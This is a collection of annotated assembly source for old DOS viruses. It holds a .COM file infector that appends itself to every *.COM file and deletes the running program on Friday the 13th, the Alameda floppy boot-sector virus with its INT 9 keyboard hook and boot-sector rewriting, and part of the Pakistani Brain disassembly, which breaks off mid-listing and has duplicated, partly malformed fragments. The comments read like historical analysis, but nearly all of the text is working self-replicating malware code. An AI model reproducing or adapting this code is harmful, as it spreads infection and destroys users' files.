; STACK MUST HAVE ROOM FOR VIRUS USE ;
;-----------------------------------------------------------------------;
CODE SEGMENT PUBLIC 'CODE' ;
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
;
ORG 100H ;SAME A .COM FILE FOR NOW
;
PUBLIC HOST_SIZE ;;
;
;-----------------------------------------------------------------------;
; JUMP AROUND VIRUS DATA AREA ;
;-----------------------------------------------------------------------;
BEGIN: JMP CONTINUE ;
;
;-----------------------------------------------------------------------;
; SHELL DATA AREA APPARENTLY FOLLOWS ;
;-----------------------------------------------------------------------;
HOST_3 DB ?,?,? ;FIRST 3 BYTES OF HOST
ID DB 'INFECTED',0 ;FYI ALREADY INFECTED ID
;
NEW_3 DB 0E9H ;TO REPLACE FIRST 3 BYTES OF HOST
OUR_BEGIN DW ? ;
;
HOST_TYPE DB '*.COM',0 ;TYPE OF FILES TO INFECT
;
DTA DB 21 DUP (?) ;USED BY DOS
DB ? ;FILE ATTRIBUTE
DW ? ;FILES TIME
DW ? ;FILES DATE
HOST_SIZE DW ? ;FILE SIZE
DW ? ;FILE SIZE
HOST_NAME DB 13 DUP (?) ;FILE NAME
;
COMMAND_COM DB 'COMMAND.COM',0 ;
COMMAND_LENGTH EQU $ - offset COMMAND_COM
;
;-----------------------------------------------------------------------;
; SAVE INCOMMING ENVIRONMENT AND SETUP WORKING ENVIRONMENT ;
;-----------------------------------------------------------------------;
CONTINUE: ;
PUSH CS ;SAVE HOST SEGMENT
PUSH AX ;SAVE SPACE FOR HOST offset
;
PUSH AX ;SAVE INCOMMING REGs
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH SI ;
PUSH DI ;
PUSH BP ;
PUSH DS ;! NOT ES !
;
MOV BP,SP ;SAVE HOST offset (IN STACK)
MOV word ptr [BP+16],100H ; (FOR LATER RETF TO HOST)
;
CALL DUMMY ;MOV AX,IP
DUMMY: POP AX ;
SUB AX,(offset DUMMY - offset BEGIN)
;
MOV CL,4 ;PASS CONTROL TO OURSELF WITH IP=100H
SHR AX,CL ;
MOV BX,CS ;
ADD AX,BX ;
SUB AX,10H ;
PUSH AX ;(OUR MODIFIED CS)
MOV AX,offset IN_CONTROL ;(OUR IP)
PUSH AX ;
RETF ;
;
;-----------------------------------------------------------------------;
;-----------------------------------------------------------------------;
IN_CONTROL: ;
MOV AX,CS ;(INIT DS)
MOV DS,AX ;
;
CALL REPLICATE ;
CALL DO_STUFF ;DO STUFF HERE
;
JMP ALL_DONE ;PASS CONTROL TO HOST
;
;-----------------------------------------------------------------------;
; REPRODUCE ;
;-----------------------------------------------------------------------;
REPLICATE: ;
PUSH ES ;
;
PUSH DS ;
POP ES ;
;
MOV AH,1AH ;SET DTA
MOV DX,OFFSET DTA ;
INT 21H ;
;
MOV AH,4EH ;FIND FIRST
XOR CX,CX ;
MOV DX,OFFSET HOST_TYPE ;
INT 21H ;
JC R_90 ;
;
R_10: CALL ATTACH ;INFECT FOUND FILE
;
MOV AH,4FH ;FIND NEXT
INT 21H ;
JNC R_10 ;UNTIL NO MORE FOUND
;
R_90: POP AX ;
PUSH AX ;
;
PUSH DS ;
MOV DS,AX ;
MOV AH,1AH ;RESTORE DTA
MOV DX,0080H ;
INT 21H ;
POP DS ;
;
POP ES ;
RET ;
;
;-----------------------------------------------------------------------;
;-----------------------------------------------------------------------;
ATTACH: PUSH ES ;IF 'COMMAND.COM' ATTEMPTED...
MOV AX,DS ;
MOV ES,AX ;
MOV SI,offset HOST_NAME ;
MOV DI,offset COMMAND_COM ;
MOV CX,COMMAND_LENGTH ;
CLD ;
REPE CMPSB ;
POP ES ;
JNE A_01 ;
JMP A_99 ;...DONT INFECT IT
;
A_01: MOV AX,3D02H ;OPEN R/W
MOV DX,offset HOST_NAME ;ie. '\COMMAND.COM'
INT 21H ;
JNC A_03 ;
JMP A_90 ;
;
A_03: MOV BX,AX ;BX=HANDLE
;
PUSH word ptr [HOST_3] ;SAVE
PUSH word ptr [HOST_3+2] ;SAVE
;
MOV AH,3FH ;READ FIRST 3 BYTES
MOV CX,3 ;
MOV DX,offset HOST_3 ;
INT 21H ;
JC A_80 ;
;
MOV AL,[NEW_3] ;IF ALREADY INFECTED...
CMP [HOST_3],AL ; (YOU CAN TELL BY THE JUMP INSTRUCTION
JNE A_05 ; AND BY THE SIZE OF THE JUMP)
MOV AX,[HOST_SIZE] ;
SUB AX,(offset OUR_END - offset BEGIN)
SUB AX,3 ;
CMP word ptr [HOST_3+1],AX ;
JE A_85 ;...DONT INFECT AGAIN
;
A_05: MOV AX,4202H ;POINT TO THE END
XOR CX,CX ;
XOR DX,DX ;
INT 21H ;
JC A_80 ;
;
OR AX,0FH ;ROUND UP TO NEXT PARAGRAPH
INC AX ;
SUB AX,3 ;(TAKE INTO ACOUNT JMP INSTRUCTION SIZ)
MOV [OUR_BEGIN],AX ;
;
MOV AX,4200H ;POINT TO FIRST 3 BYTES
XOR CX,CX ;
XOR DX,DX ;
INT 21H ;
JC A_80 ;
;
MOV AH,40H ;WRITE NEW 3 BYTES
MOV CX,3 ;
MOV DX,offset NEW_3 ;
INT 21H ;
JC A_80 ;
;
;REMEMBER, WERE ALREADY POINTING PAST THE FIRST 3 BYTES!
MOV AX,4201H ;POINT TO END (ROUNDED UP TO PARA)
XOR CX,CX ;
MOV DX,[OUR_BEGIN] ;
INT 21H ;
JC A_80 ;
;
MOV AH,40H ;APPEND VIRUS TO END OF FILE
MOV CX,(offset OUR_END - offset BEGIN)
MOV DX,offset BEGIN ;
INT 21H ;
JC A_80 ;
;
JMP A_85 ;CLOSE AND RETURN
;
A_80: ;CALL BEEP ;
;
A_85: POP word ptr [HOST_3+2] ;SAVE
POP word ptr [HOST_3] ;SAVE
;
MOV AH,3EH ;CLOSE FILE
INT 21H ;
;
A_90: JNC A_99 ;
;CALL BEEP ;
A_99: RET ;
;
;-----------------------------------------------------------------------;
; DO STUFF ;
;-----------------------------------------------------------------------;
DO_STUFF: ;
PUSH ES ;
;
MOV AH,2AH ;GET DATE
INT 21H ;
;
CMP DL,13 ;IF FRIDAY THE 13th...
JNE DS_90 ;
CMP AL,5 ;
JNE DS_90 ;
;
XOR AX,AX ;FIND OUT INFECTED NAME
MOV CX,32767 ;
XOR DI,DI ;
MOV ES,ES:[002CH] ;
CLD ;
REPNE SCASW ;
JNE DS_90 ;
ADD DI,2 ;SKIP '01 00'
;
PUSH DS ;DELETE SELF
PUSH ES ;
POP DS ;
MOV AH,41H ;
MOV DX,DI ;
INT 21H ;
POP DS ;
;
DS_90: POP ES ;
RET ;
;
;-----------------------------------------------------------------------;
; PASS CONTROL TO THE HOST PROGRAM ;
;-----------------------------------------------------------------------;
ALL_DONE: ;
MOV AX,word ptr [HOST_3] ;RESTORE HOSTS FIRST 3 BYTES
MOV ES:[100H],AX ;
MOV AL,[HOST_3+2] ;
MOV ES:[102H],AL ;
;
POP DS ;! NOT ES !
POP BP ;
POP DI ;
POP SI ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
;
RETF ;
;
OUR_END LABEL BYTE ;
;
CODE ENDS ;
END BEGIN ;
- *******************************************************************
-----------------------------------------------------------------
-----------------------------------------------------------------
- *******************************************************************
The "Alameda Virus".
Also Called - Merritt Virus, Yale Virus, Peking Virus, Seoul Virus
PAGE 64,132
;-----------------------------------------------------------------------;
; This virus is of the "FLOPPY ONLY" variety. ;
; It replicates to the boot sector of a floppy disk and when it gains control
; it will move itself to upper memory. It redirects the keyboard ;
; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ;
; it will attempt to infect any floppy it finds in drive A:. ;
; It keeps the real boot sector at track 39, sector 8, head 0 ;
; It does not map this sector bad in the fat (unlike the Pakistani Brain)
; and should that area be used by a file, the virus ;
; will die. It also contains no anti detection mechanisms as does the ;
; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ;
; sector 9 because this is common to all floppy formats both single ;
; sided and double sided. It does not contain any malevolent TROJAN ;
; HORSE code. It does appear to contain a count of how many times it ;
; has infected other diskettes although this is harmless and the count ;
; is never accessed. ;
; ;
; Things to note about this virus: ;
; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
; is its primary (only for that matter) means of reproduction to other ;
; floppy diskettes. The only way to remove it from an infected system ;
; is to turn the machine off and reboot an uninfected copy of DOS. ;
; It is even resident when no floppy is booted but BASIC is loaded ;
; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ;
; it activates and infectes the floppy from which the user is ;
; attempting to boot. ;
; ;
; Also note that because of the POP CS command to pass control to ;
; its self in upper memory, this virus does not to work on 80286 ;
; machines (because this is not a valid 80286 instruction). ;
; ;
; The Norton utilities can be used to identify infected diskettes by ;
; looking at the boot sector and the DOS SYS utility can be used to ;
; remove it (unlike the Brain). ;
;-----------------------------------------------------------------------;
;
ORG 7C00H ;
;
TOS LABEL WORD ;TOP OF STACK
;-----------------------------------------------------------------------;
; 1. Find top of memory and copy ourself up there. (keeping same offset);
; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
; 3. Redirect int 9 (keyboard) to ourself in top of memory ;
; 4. Jump to ourself at top of memory ;
; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ;
;-----------------------------------------------------------------------;
BEGIN: CLI ;INITIALIZE STACK
XOR AX,AX ;
MOV SS,AX ;
MOV SP,offset TOS ;
STI ;
;
MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512)
MOV DS,BX ;
MOV AX,[0013H] ;
MUL BX ;
SUB AX,07E0H ; (7C00H+512)/16
MOV ES,AX ;
;
PUSH CS ;DS = CS
POP DS ;
;
CMP DI,3456H ;IF THE VIRUS IS REBOOTING...
JNE B_10 ;
DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1--
;
B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY
MOV DI,SI ;
MOV CX,512 ;
CLD ;
REP MOVSB ;
;
MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO
MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE
MOV CX,128 ;
REP MOVSB ;
;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
;
PUSH ES ;ES=HI ;JUMP TO OUR HI CODE WITH
POP CS ; CS = ES
;
PUSH DS ;DS=0 ;ES = DS
POP ES ;
;
MOV BX,SP ;SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00
MOV DX,CX ;CX=0 ; DRIVE A: HEAD 0
MOV CX,2708H ; TRACK 40, SECTOR 8
MOV AX,0201H ; READ SECTOR
INT 13H ; (common to 8/9 sect. 1/2 sided!)
JB $ ; HANG IF ERROR
;
JMP JMP_BOOT ;JMP 0000:7C00
;
;-----------------------------------------------------------------------;
; SAVE THEN REDIRECT INT 9 VECTOR ;
; ;
; ON ENTRY: DS = 0 ;
; ES = WHERE TO SAVE OLD_09 & (HI) ;
; WHERE NEW_09 IS (HI) ;
;-----------------------------------------------------------------------;
PUT_NEW_09: ;
DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024
;
MOV SI,9*4 ;COPY INT 9 VECTOR TO
MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!)
MOV CX,0004 ;
;
CLI ;
REP MOVSB ;
MOV Word Ptr [9*4],offset NEW_09
MOV [(9*4)+2],ES ;
STI ;
;
RET ;
;
;-----------------------------------------------------------------------;
; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ;
;-----------------------------------------------------------------------;
ACK_KEYBD: ;
IN AL,61H ;RESET KEYBOARD THEN CONTINUE
MOV AH,AL ;
OR AL,80H ;
OUT 61H,AL ;
XCHG AL,AH ;
OUT 61H,AL ;
JMP RBOOT ;
;
;-----------------------------------------------------------------------;
; DATA AREA WHICH IS NOT USED IN THIS VERSION ;
; REASON UNKNOWN ;
;-----------------------------------------------------------------------;
TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39
DB 27H,0,2,2 ; (CURRENTLY NOT USED)
DB 27H,0,3,2 ;
DB 27H,0,4,2 ;
DB 27H,0,5,2 ;
DB 27H,0,6,2 ;
DB 27H,0,7,2 ;
DB 27H,0,8,2 ;
;
;A7C9A LABEL BYTE ;
DW 00024H ;NOT USED
DB 0ADH ;
DB 07CH ;
DB 0A3H ;
DW 00026H ;
;
;L7CA1: ;
POP CX ;NOT USED
POP DI ;
POP SI ;
POP ES ;
POP DS ;
POP AX ;
POPF ;
JMP 1111:1111 ;
;
;-----------------------------------------------------------------------;
; IF ALT & CTRL & DEL THEN ... ;
; IF ALT & CTRL & ? THEN ... ;
;-----------------------------------------------------------------------;
NEW_09: PUSHF ;
STI ;
;
PUSH AX ;
PUSH BX ;
PUSH DS ;
;
PUSH CS ;DS=CS
POP DS ;
;
MOV BX,[ALT_CTRL] ;BX=SCAN CODE LAST TIME
IN AL,60H ;GET SCAN CODE
MOV AH,AL ;SAVE IN AH
AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
;
CMP AL,1DH ;IS IT A [CTRL]...
JNE N09_10 ;...JUMP IF NO
MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
JMP N09_30 ;
;
N09_10: CMP AL,38H ;IS IT AN [ALT]...
JNE N09_20 ;...JUMP IF NO
MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
JMP N09_30 ;
;
N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)...
JNE N09_30 ;...JUMP IF NO
;
CMP AL,17H ;IF [I]...
JE N09_X0 ;...JUMP IF YES
CMP AL,53H ;IF [DEL]...
JE ACK_KEYBD ;...JUMP IF YES
;
N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME
;
N09_90: POP DS ;
POP BX ;
POP AX ;
POPF ;
;
DB 0EAH ;JMP F000:E987
OLD_09 DW ? ;
DW 0F000H ;
;
N09_X0: JMP N09_X1 ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!?
MOV AX,0800H ;AL=0, AH=DELAY ARG
OUT DX,AL ;
CALL DELAY ;
MOV [ALT_CTRL],AX ;AX=0 ;
;
MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR
INT 10H ;
MOV AH,2 ;SET CURSOR POS 0,0
XOR DX,DX ;
MOV BH,DH ; PAGE 0
INT 10H ;
;
MOV AH,1 ;SET CURSOR TYPE
MOV CX,0607H ;
INT 10H ;
;
MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW)
CALL DELAY ;
;
CLI ;
OUT 20H,AL ;SEND EOI TO INT CONTROLLER
;
MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS
MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!)
MOV SI,offset BEGIN - 128 ;
MOV CX,128 ;
CLD ;
REP MOVSB ;
;
MOV DS,CX ;CX=0 ;DS=0
;
MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
MOV [(19H*4)+2],CS ;
;
MOV AX,0040H ;DS = ROM DATA AREA
MOV DS,AX ;
;
MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0
INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
;
PUSH DS ;IF BIOS F000:E502 == 21E4...
MOV AX,0F000H ;
MOV DS,AX ;
CMP Word Ptr [0E502H],21E4H ;
POP DS ;
JE R_90 ;
INT 19H ; IF NOT...REBOOT
;
R_90: JMP 0F000:0E502H ;...DO IT ?!?!?!
;
;-----------------------------------------------------------------------;
; REBOOT INT VECTOR ;
;-----------------------------------------------------------------------;
NEW_19: XOR AX,AX ;
;
MOV DS,AX ;DS=0
MOV AX,[0410] ;AX=EQUIP FLAG
TEST AL,1 ;IF FLOPPY DRIVES ...
JNZ N19_20 ;...JUMP
N19_10: PUSH CS ;ELSE ES=CS
POP ES ;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
INT 18H ;LOAD BASIC
;
N19_20: MOV CX,0004 ;RETRY COUNT = 4
;
N19_22: PUSH CX ;
MOV AH,00 ;RESET DISK
INT 13 ;
JB N19_81 ;
MOV AX,0201 ;READ BOOT SECTOR
PUSH DS ;
POP ES ;
MOV BX,offset BEGIN ;
MOV CX,1 ;TRACK 0, SECTOR 1
INT 13H ;
N19_81: POP CX ;
JNB N19_90 ;
LOOP N19_22 ;
JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
N19_90: CMP DI,3456 ;IF NOT FLAG SET...
JNZ RE_INFECT ;...RE INFECT
;
JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR
JMP 0000:7C00H ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
RE_INFECT: ;
MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH
MOV CX,00E6H ; OURSELF
MOV DI,SI ;
PUSH CS ;
POP ES ;
CLD ;
REPE CMPSB ;
JE RI_12 ;IF NOT EQUAL...
;
INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!)
;
;MAKE SURE TRACK 39, HEAD 0 FORMATTED ;
MOV BX,offset TABLE ;FORMAT INFO
MOV DX,0000 ;DRIVE A: HEAD 0
MOV CH,40-1 ;TRACK 39
MOV AH,5 ;FORMAT
JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW !
;
; <<< NO EXECUTION PATH TO HERE >>> ;
JB RI_80 ;
;
;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0
MOV BX,offset BEGIN ;TRACK 40H
MOV CL,8 ;SECTOR 8
MOV AX,0301H ;WRITE 1 SECTOR
INT 13H ;
;
PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW)
POP ES ;
JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE
;
MOV CX,0001 ;WRITE INFECTED BOOT SECTOR !
MOV AX,0301 ;
INT 13H ;
JB RI_80 ; IF ERROR...JUMP TO BOOT CODE
;
RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"...
INT 19H ;...FLAG AND REBOOT
;
RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT)
JMP JMP_BOOT ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS
;
MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG
MOV BX,0040H ;
MOV DS,BX ;
MOV [0072H],AX ; 0040:0072 = RESET FLAG
JMP N09_90 ;
;
;-----------------------------------------------------------------------;
; DELAY ;
; ;
; ON ENTRY AH:CX = LOOP COUNT ;
;-----------------------------------------------------------------------;
DELAY: SUB CX,CX ;
D_01: LOOP $ ;
SUB AH,1 ;
JNZ D_01 ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A7DF4 DB 27H,00H,8,2
COUNTER_1 DW 001CH
ALT_CTRL DW 0
A7DFC DB 27H,0,8,2
- ********************************************************************
---------------------------------------------------------------------
---------------------------------------------------------------------
- ********************************************************************
The "Pakistani Brain"
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CODE SEGMENT PUBLIC 'CODE' ;
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:NOTHING
;
ORG 0 ;
;
BPB EQU 3+8 ;JMP + OEM_NAME
;
;-----------------------------------------------------------------------;
; COPY OF BOOT SECTOR ;
;-----------------------------------------------------------------------;
;
DB 6 DUP (?) ;
;
L0006 DB ? ;HEAD
L0007 DB ? ;SECTOR
L0008 DB ? ;TRACK
;
L0009 DB ? ;HEAD
L000A DB ? ;SECTOR
L000B DB ? ;TRACK
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
;
ORG 512 ;
;
;-----------------------------------------------------------------------;
; (BOOT SECTOR TYPE FORMAT!) ;
;-----------------------------------------------------------------------;
CONTINUE: JMP CONTINUE_2 ;023C
;
L0203 DB 'IBM X3.2' ;OEM NAME AND VERSION
;
DW 512 ;BYTES PER SECTOR
DB 2 ;SECTORS PER ALLOCATION UNIT
DW 1 ;RESERVED SECTORS
L0210 DB 2 ;NUMBER OF FATS
DW 112 ;NUMBER OF ROOT DIR ENTRIES
DW 2D0H ;SECTORS PER DISK
DB 0FDH ;MEDIA ID
DW 2 ;SECTORS PER FAT
DW 9 ;SECTORS PER TRACK
DW 2 ;NUMBER OF HEADS
DW 0 ;HIDDEN SECTORS
;
;---------------------------------------;
DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
DB 2
DISK_PARM DB 0DFH,2,25H,2,12H,2AH,0FFH,50H,0F6H,0,2
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
REBOOT: INT 19H ;REBOOT
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONTINUE_2: ;
CLI ;
XOR AX,AX ;
MOV ES,AX ;ES=0
MOV SS,AX ;SS:SP = 0000:7C00
MOV SP,7C00H ;
MOV DS,AX ;
MOV BX,07C0H ;INITIALIZE DISK POINTER (INT 1E)
MOV Word Ptr [78H],2FH ;0000:0078 = (DWORD) 07C0:002F
MOV [7AH],BX ;
;
MOV DS,BX ;DS = 07C0
MOV DX,[1EH] ;GET DRIVE/HEAD ;BOOT:001E !
MOV [20H],DL ;SAVE DRIVE ;BOOT:0020 !
INT 13H ;RESET
JNB C_10 ;
JMP ERROR_2 ;IF ERROR...'BOOT FAILURE'
;
C_10: MOV SI,BPB ;SI = BPB ;BOOT:000B
MOV CX,[SI] ;CX = BYTES PER SECTOR
SHR CH,1 ;WORDS PER SECTOR
XCHG CH,CL ;
MOV [2BH],CX ;SAVE ;BOOT:002B
MOV AL,[SI+5] ;AL= NUMBER OF FATS ;BOOT:0010
XOR AH,AH ;
MUL Word Ptr [SI+0BH] ;TOTAL FAT SECTORS ;BOOT:0016
ADD AX,[SI+3] ;+RESERVED SECTORS ;BOOT:000E
ADD AX,[SI+11H] ;+HIDDEN SECTORS ;BOOT:001C
MOV [24H],AX ;SAVE IT ;BOOT:0024
MOV BX,7E00H ;
CALL UI ;
;
MOV BX,ES ;SAVE ES
MOV AX,70H ;ES=0070H
MOV ES,AX ;
MOV AX,32 ;32*
MUL Word Ptr [SI+6] ; ROOT DIR ENTRIES+
MOV CX,[SI] ;
ADD AX,CX ; BYTES/SECTOR
DEC AX ; -1
DIV CX ; /BYTES/SECTOR
ADD [24H],AX ;ADD TO BYTES IN BOOT & FAT
;
MOV CL,[2AH] ;
MOV AX,[24H] ;
CALL READ_CLUSTER ;(READ BOOT SECTOR ???)
;
PUSH ES ;
POP DS ;
JMP 0070H:0000H ;(PASS CONTROL TO ???)
;
;-----------------------------------------------------------------------;
; HEAVY CRUNCHING HERE (CLUSTER READS ?!?!?!) ;
; ON ENTRY: AX = ?
; ES:BX = DTA ;
; CL = ? ;
; DS:SI = BPB ;
; DS:[0021] = ;
;-----------------------------------------------------------------------;
READ_CLUSTER: ;02B3
PUSH BX ;
PUSH AX ;
;
MOV AL,CL ;
MUL Byte Ptr [2BH] ;
MOV [29H],AL ;
POP AX ;
MUL Word Ptr [2BH] ;
DIV Word Ptr [SI+0DH] ;(BPB.SECTORS PER TRACK)
INC DL ;
MOV [28H],DL ;
PUSH DX ;
XOR DX,DX ;
DIV Word Ptr [SI+0FH] ;(BPB.NUMBER OF HEADS)
MOV [21H],DL ;
MOV [26H],AX ;
POP DX ;
RC_10: MOV CL,[29H] ;
ADD DL,CL ;
MOV AX,[SI+0DH] ;(BPB.SECTORS PER TRACK)
INC AX ;
CMP DL,AL ;
JBE RC_20 ;
SUB AL,[28H] ;
MOV CL,AL ;
RC_20: MOV AL,CL ;
MOV DX,[26H] ;
MOV CL,6 ;
SHL DH,CL ;
OR DH,[28H] ;
MOV CX,DX ;
XCHG CH,CL ;
MOV DX,[20H] ;
;
MOV AH,2 ;READ SECTOR
PUSH AX ;
INT 13H ;
POP AX ;
JB ERROR_2 ;IF ERROR...'BOOT FAILURE'
SUB [29H],AL ;
JBE RC_90 ;
CBW ;
MUL Word Ptr [2DH] ;
ADD BX,AX ;
INC Byte Ptr [21H] ;
MOV DL,[21H] ;
CMP DL,[SI+0FH] ;
MOV DL,1 ;
MOV [28H],DL ;
JB RC_10 ;
MOV Byte Ptr [21H],0 ;
INC Word Ptr [26H] ;
JMP RC_10 ;
;
RC_90: POP BX ;
RET ;
;
;-----------------------------------------------------------------------;
; PRINT BOOT ERROR MESSAGE AND WAIT FOR A KEY ;
;-----------------------------------------------------------------------;
ERROR_1: ;0339
MOV SI,01B3H ;'Non-System disk'
JMP E_10 ;
;
;---------------------------------------;
ERROR_2: ;
MOV SI,01C5H ;'BOOT failure'
E_10: CALL DISPLAY_STRING ;
;
MOV SI,01D4H ;'Replace and press any key when ready'
CALL DISPLAY_STRING ;
;
MOV AH,0 ;WAIT FOR A KEY
INT 16H ;
E_20: MOV AH,1 ; THROW IT AWAY AND
INT 16H ; WAIT FOR ANOTHER ONE BUT
JNZ E_20 ; DONT GET IT
JMP REBOOT ;
;
;-----------------------------------------------------------------------;
; DISPLAY ASCIIZ STRING ;
; ON ENTRY: DS:SI = ASCIIZ STRING ;
;-----------------------------------------------------------------------;
DISPLAY_STRING: ;0357
DS_00: LODSB ;DISPLAY UNTIL NULL
OR AL,AL ;
JZ DS_90 ;
MOV AH,0EH ;
MOV BX,7 ;
INT 10 ;
JMP DS_00 ;
DS_90: RET ;0365
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
UI: ;0366:
MOV CL,01 ;
CALL READ_CLUSTER ;
;
PUSH SI ;
MOV DI,BX ;
MOV AX,ES:[BX+1C] ;
XOR DX,DX ;
DIV Word Ptr [SI] ;
INC AL ;
MOV [002A],AL ;
MOV SI,019D ;
MOV CX,000B ;
REPZ ;
CMPSB ;
JNZ ERROR_1 ;'NON SYSTEM DISK'
MOV AX,ES:[BX+3A] ;
MOV [0022],AX ;
MOV DI,BX ;
ADD DI,+20 ;
MOV SI,01A8 ;
MOV CX,000B ;
REPZ ;
CMPSB ;
JNZ ERROR_1 ;'NON SYSTEM DISK'
POP SI ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L039D DB 'IBMBIO COM'
DB 'IBMDOS COM'
DB CR,LF,'Non-System disk',0
DB CR,LF,'BOOT failure',0
DB CR,LF,'Replace and press any key when ready',0
DB 90H,90H,90H,55H,0AAH
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0400: JMP SHORT CONT_A ;
;
DB '(c) 1986 Basit & Amjads (pvt) Ltd ',0
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONT_A: ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0A5B DB 'IBMBIO COM'
DB 'IBMDOS COM'
DB CR,LF,'Non-System disk',0
DB CR,LF,'BOOT failure',0
DB CR,LF,'Replace and press any key when ready',0
DB 90H,90H,90H,55H,0AAH
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
ADD AL,00 ;0425 0400
ADD [06C6],CH ;0427 002EC606
AND AX,1F02 ;042B 25021F
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
REDIRECT_13: ;042E
XOR AX,AX ;GET INT 13 VECTOR
MOV DS,AX ;
MOV AX,[004CH] ;
MOV [01B4H],AX ; (SAVE IT TO INT 6D VECTOR)
MOV AX,[004EH] ;
MOV [01B6H],AX ;
MOV AX,0276H ;SET INT 13 VECTOR
MOV [004CH],AX ;
MOV AX,CS ;
MOV [004EH],AX ;
;
MOV CX,0004 ;RETRY = 4
XOR AX,AX ;
MOV ES,AX ;
L0450: PUSH CX ;
MOV DH,CS:[0006] ;DH = HEAD
MOV DL,00 ;DRIVE A:
MOV CX,CS:[0007] ;CX = TRACK/SECTOR
MOV AX,0201 ;READ 1 SECTOR
MOV BX,7C00 ;ES:BX == DTA = 0000:7C00
INT 6DH ;
JNB L0470 ;
MOV AH,00 ;RESET
INT 6DH ;
POP CX ;TRY AGAIN
LOOP L0450 ;
INT 18H ;LOAD BASIC
;
L0470: JMP 0000:7C00 ;JUMP TO BOOT LOADER ?!?!
;
NOP ;0475 90
STI ;0476 FB
CMP AH,02 ;0477 80FC02
JNZ L0494 ;047A 7518
CMP DL,02 ;047C 80FA02
JA L0494 ;047F 7713
CMP CH,00 ;0481 80FD00
JNZ L048B ;0484 7505
CMP DH,00 ;0486 80FE00
JZ L0497 ;0489 740C
L048B: DEC Byte Ptr CS:[0225] ;048B 2EFE0E2502
JNZ L0494 ;0490 7502
JMP L0497 ;0492 EB03
L0494: JMP L053C ;0494 E9A500
L0497: MOV Byte Ptr CS:[0227],00 ;0497 2EC606270200
MOV Byte Ptr CS:[0225],04 ;049D 2EC606250204
PUSH AX ;04A3 50
PUSH BX ;04A4 53
PUSH CX ;04A5 51
PUSH DX ;04A6 52
MOV CS:[0226],DL ;04A7 2E88162602
MOV CX,0004 ;04AC B90400
PUSH CX ;04AF 51
MOV AH,00 ;04B0 B400
INT 6D ;04B2 CD6D
JB ;04CB ;04B4 7215
MOV DH,00 ;04B6 B600
MOV CX,0001 ;04B8 B90100
MOV BX,06BE ;04BB BBBE06
